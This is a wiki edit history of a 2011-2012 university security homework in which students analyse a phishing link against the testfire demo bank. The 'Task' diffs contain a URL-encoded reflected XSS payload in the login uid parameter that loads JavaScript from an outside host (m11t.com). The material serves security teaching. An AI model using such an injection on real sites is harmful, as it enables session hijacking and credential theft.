ITX8063:Homework - Redigeerimiste ajalugu

Kasak: /* Homework */

2012-01-10T01:13:55Z

Homework

←Vanem redaktsioon		Redaktsioon: 10. jaanuar 2012, kell 03:13
1. rida:		1. rida:
	=Homework=		=Homework=


			===Submission deadline passed===

			'''Update (10 Jan)''': Deadline passed, new submissions are not accepted any more.


	===Introduction===		===Introduction===

2012-01-06T14:19:33Z

Reporting

←Vanem redaktsioon		Redaktsioon: 6. jaanuar 2012, kell 16:19
44. rida:		44. rida:
	# include your public IP-address (http://www.whatsmyip.net) that you used while your analysis		# include your public IP-address (http://www.whatsmyip.net) that you used while your analysis
	* '''Update (08 Dec)''': info from Steven S: he speaks only English.		* '''Update (08 Dec)''': info from Steven S: he speaks only English.
	* '''Update (22 Dec)''': Steven S does not have any Office suite installed. Send the memo as plaintext of PDF.		* '''Update (22 Dec)''': Steven S does not have any Office suite installed. Send the memo as plaintext or PDF.
	Send a copy of the memo to ''mait.peekma[=at=]eesti.ee''		Send a copy of the memo to ''mait.peekma[=at=]eesti.ee''

2012-01-04T04:41:33Z

Task

←Vanem redaktsioon		Redaktsioon: 4. jaanuar 2012, kell 06:41
24. rida:		24. rida:
	Please login to the i-bank and verify all your contacts:		Please login to the i-bank and verify all your contacts:

	http://demo.testfire.net/bank/login.aspx?uid=%22%3E%3Cscript%20src=%22http://m11t.com/itx8063/j.js%22%3E%3C/script%~~20f~~=%22#~~roundhousekick~~		http://demo.testfire.net/bank/login.aspx?uid=%22%3E%3Cscript%20src=%22http://m11t.com/itx8063/j.php%22%3E%3C/script%20t=%22#PHPSESSID=s8SdVmZpRQ

	Best Regards,		Best Regards,

2011-12-30T14:13:21Z

Task

←Vanem redaktsioon		Redaktsioon: 30. detsember 2011, kell 16:13
24. rida:		24. rida:
	Please login to the i-bank and verify all your contacts:		Please login to the i-bank and verify all your contacts:

	http://demo.testfire.net/bank/login.aspx?uid=%22%3E%3Cscript%20src=%22http://m11t.com/itx8063/j.js%22%3E%3C/script%~~20r~~=%22#roundhousekick		http://demo.testfire.net/bank/login.aspx?uid=%22%3E%3Cscript%20src=%22http://m11t.com/itx8063/j.js%22%3E%3C/script%20f=%22#roundhousekick

	Best Regards,		Best Regards,

2011-12-22T18:22:23Z

Reporting

←Vanem redaktsioon		Redaktsioon: 22. detsember 2011, kell 20:22
44. rida:		44. rida:
	# include your public IP-address (http://www.whatsmyip.net) that you used while your analysis		# include your public IP-address (http://www.whatsmyip.net) that you used while your analysis
	* '''Update (08 Dec)''': info from Steven S: he speaks only English.		* '''Update (08 Dec)''': info from Steven S: he speaks only English.
			* '''Update (22 Dec)''': Steven S does not have any Office suite installed. Send the memo as plaintext of PDF.
	Send a copy of the memo to ''mait.peekma[=at=]eesti.ee''		Send a copy of the memo to ''mait.peekma[=at=]eesti.ee''

2011-12-08T10:56:36Z

Reporting

←Vanem redaktsioon		Redaktsioon: 8. detsember 2011, kell 12:56
43. rida:		43. rida:
	# the human-readable JavaScript source code after the second de-obfuscation and a short explanation how you did it		# the human-readable JavaScript source code after the second de-obfuscation and a short explanation how you did it
	# include your public IP-address (http://www.whatsmyip.net) that you used while your analysis		# include your public IP-address (http://www.whatsmyip.net) that you used while your analysis
	* '''Update (08 Dec)''': info from Steven S: he speaks English ~~only~~.		* '''Update (08 Dec)''': info from Steven S: he speaks only English.
	Send a copy of the memo to ''mait.peekma[=at=]eesti.ee''		Send a copy of the memo to ''mait.peekma[=at=]eesti.ee''

2011-12-08T10:56:18Z

Reporting

←Vanem redaktsioon		Redaktsioon: 8. detsember 2011, kell 12:56
43. rida:		43. rida:
	# the human-readable JavaScript source code after the second de-obfuscation and a short explanation how you did it		# the human-readable JavaScript source code after the second de-obfuscation and a short explanation how you did it
	# include your public IP-address (http://www.whatsmyip.net) that you used while your analysis		# include your public IP-address (http://www.whatsmyip.net) that you used while your analysis
			* '''Update (08 Dec)''': info from Steven S: he speaks English only.
	Send a copy of the memo to ''mait.peekma[=at=]eesti.ee''		Send a copy of the memo to ''mait.peekma[=at=]eesti.ee''

2011-12-07T17:19:50Z

Reporting

←Vanem redaktsioon		Redaktsioon: 7. detsember 2011, kell 19:19
38. rida:		38. rida:

	===Reporting===		===Reporting===
	You will soon go to a 2 week vacation and your colleague Steven S. will take over your work. Write a memo to Steven S. ~~that~~:		You will soon go to a 2 week vacation and your colleague Steven S. will take over your work. Write a memo to Steven S. with the following:
	# ~~explains~~ what malicious happens if a customer opens the link (with Mozilla Firefox) and logs in to the internetbank		# explaination what malicious happens if a customer opens the link (with Mozilla Firefox) and logs in to the internetbank
	# the JavaScript source code after the first de-obfuscation and a short explanation how you de-obfuscated it		# the JavaScript source code after the first de-obfuscation and a short explanation how you de-obfuscated it
	# the human-readable JavaScript source code after the second de-obfuscation and a short explanation how you did it		# the human-readable JavaScript source code after the second de-obfuscation and a short explanation how you did it

2011-12-07T17:17:24Z

Task

←Vanem redaktsioon		Redaktsioon: 7. detsember 2011, kell 19:17
30. rida:		30. rida:
	</pre>		</pre>

	Your '''first task''' is to find out what happens if you ~~click on~~ that link.		Your '''first task''' is to find out what happens if you open that link.

	* NB! The exploit works '''only in Mozilla Firefox''' and only if NoScript and other anti-XSS extensions are turned off.		* NB! The exploit works '''only in Mozilla Firefox''' and only if NoScript and other anti-XSS extensions are turned off.

2011-12-07T17:14:28Z

Introduction

←Vanem redaktsioon		Redaktsioon: 7. detsember 2011, kell 19:14
7. rida:		7. rida:
	* Expected solving time: up to 1 hour.		* Expected solving time: up to 1 hour.
	* Deadline: 9 January 2012		* Deadline: 9 January 2012
	* Tools: a general text editor and Mozilla Firefox (3.6.~~x, 4.0 or higher~~) with extensions of your choice should be enough. Do not use any scanners!		* Tools: a general text editor and Mozilla Firefox ([http://en.wikipedia.org/wiki/Firefox#Version_release_table stable and still supporter version]) with extensions of your choice should be enough. Do not use any scanners!
	* Scoring: up 15 points. Cheaters will get their overall course score multiplied by 0.		* Scoring: up 15 points. Cheaters will get their overall course score multiplied by 0.
	* Questions regarding the homework should be sent to ''mait.peekma[=at=]eesti.ee''		* Questions regarding the homework should be sent to ''mait.peekma[=at=]eesti.ee''